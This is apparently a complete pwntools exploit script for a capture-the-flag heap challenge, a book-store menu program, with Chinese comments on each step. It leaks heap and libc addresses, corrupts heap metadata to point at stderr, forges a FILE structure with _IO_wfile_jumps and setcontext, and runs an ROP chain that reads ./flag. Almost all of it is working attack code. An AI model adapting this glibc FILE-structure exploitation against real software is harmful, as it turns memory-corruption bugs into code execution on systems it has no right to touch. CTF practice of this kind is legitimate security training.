def buy(idx,title,author,isbn,publish_date,price,stock):
p.sendlineafter(b"Enter your choice > ",b"1")
p.sendlineafter(b"Index: ",str(idx))
p.sendlineafter(b"Special Data: ", base64.b32encode(prepare(title,author,isbn,publish_date,price,stock)))
def see(idx):
p.sendlineafter(b"Enter your choice > ",b"2")
p.sendlineafter(b"Index: ",str(idx))
def dele(idx):
p.sendlineafter(b"Enter your choice > ",b"3")
p.sendlineafter(b"Index: ",str(idx))
def edit(idx,title,author,isbn,publish_date,price,stock):
p.sendlineafter(b"Enter your choice > ",b"4")
p.sendlineafter(b"Index: ",str(idx))
p.sendlineafter(b"Special Data: ", base64.b32encode(prepare(title,author,isbn,publish_date,price,stock)))
buy(0,b"00000001",b"00000002",b"00000003",b"00000004",1.1,1)
buy(1,b'11111111',b'11111112',b'',b'11111114',1,1)
# 第1个book_struct 的第三个字段是fastbin中0x20大小最后一个chunk,此时泄漏fd,可以得到heap地址
see(1)
p.recvuntil(b'ISBN: ')
heap=u64(p.recv(5).ljust(8,b"\x00"))
heap=heap<<12
print("heap",hex(heap))
buy(2,b"2"*0x20,b"",b"",b"",1,1)
buy(3,b"3"*0x4f0,b"",b"",b"",1,1)
# largechunk会触发合并fastbin合并到unsortedbin,然后再到unsortedbin寻找的过程中分配到smallbin
buy(4,b"4"*0x200,b"",b"",b"",1,1)#防止free3和topchunk合并,由于此时0x20和0x40的堆在bin中已经有了,我们需要找个不来自bin的才行,并且也不能是被分割的
dele(3)
edit(2,b"2"*0x70,b"",b"",b"",1,1)
see(2)
p.recvuntil(b'2'*0x70)
libc.address=u64(p.recv(6).ljust(8,b"\x00"))-0x21ace0
print("libc",hex(libc.address))
edit(2,b"2"*0x20+p64(0)+p64(0x41)+b"3"*0x30+p64(0)+p64(0x501),b"",b"",b"",1,1) #恢复原来被覆盖的部分
buy(5,b"5"*0x50,b"5"*0x50,b"5"*0x50,b"5"*0xd0,1,1)
buy(6,b"5"*0x150,b"5"*0x150,b"5"*0x150,b"5"*0x160,1,1)
buy(7,b"5"*0x30,b"5"*0x10,b"5"*0x10,b"5"*0x10,1,1)
rdi=0x2a3e5+libc.address
rsi=libc.address+0x2be51
rdx_r12=libc.address+0x11f2e7
syscall=libc.address+0x1147e0
rax=libc.address+0x45eb0
ret=libc.address+0x29139
ret=libc.address+0x29139
wide_data_chunk=heap+0x1ed0
stderr=libc.address+0x21b6a0
_IO_wfile_jumps=libc.address+0x2170c0
vatabl=heap+0x1ed0+0xe8
#+0x68
wide_data=b"\x00"
wide_data=wide_data.ljust(0x18,b"\x00")
wide_data+=p64(0)
wide_data=wide_data.ljust(0x30,b"\x00")
wide_data+=p64(0)
wide_data=wide_data.ljust(0xa0,b"\x00")
wide_data+=p64(wide_data_chunk+0x210)+p64(ret)
wide_data=wide_data.ljust(0xe0,b"\x00")
wide_data+=p64(vatabl)
wide_data=wide_data.ljust(0x150,b"\x00")
wide_data+=p64(libc.address+0x53a1d) #setcontext
wide_data=wide_data.ljust(0x200,b"\x00")
wide_data+=b'./flag\x00\x00'+p64(0)+p64(rdi)+p64(wide_data_chunk+0x200)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscall)
wide_data+=p64(rdi)+p64(3)+p64(rsi)+p64(heap)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(rax)+p64(0)+p64(syscall)
wide_data+=p64(rdi)+p64(1)+p64(rsi)+p64(heap)+p64(rdx_r12)+p64(0x30)+p64(0)+p64(rax)+p64(1)+p64(syscall)+p64(rdi)+p64(0)+p64(rax)+p64(0x3c)+p64(syscall)
wide_data=wide_data.ljust(0x500,b"\x00") #使得大小能分配一个不是从bin中来的
buy(8,wide_data,b"",b"",b"",1,1) #分裂largechunk
print("stderr",hex(stderr))
edit(2,b"2"*0x70+p64(stderr),b"",b"",b"",1,1) #写入stderr
fake_stderr=p64((~(0x2|0x8|0x800))&0xffffffffffffffff)+p64(0)+p64(0)*3+p64(1) #writeptr
fake_stderr=fake_stderr.ljust(0xa0,b"\x00")
fake_stderr+=p64(wide_data_chunk)
fake_stderr=fake_stderr.ljust(0xd8,b"\x00")
fake_stderr+=p64(_IO_wfile_jumps)
edit(8,fake_stderr,b"",b"",b"",1,1)
gdb.attach(p)
pause()
p.sendlineafter(b'Enter your choice > ',b'6')
p.interactive()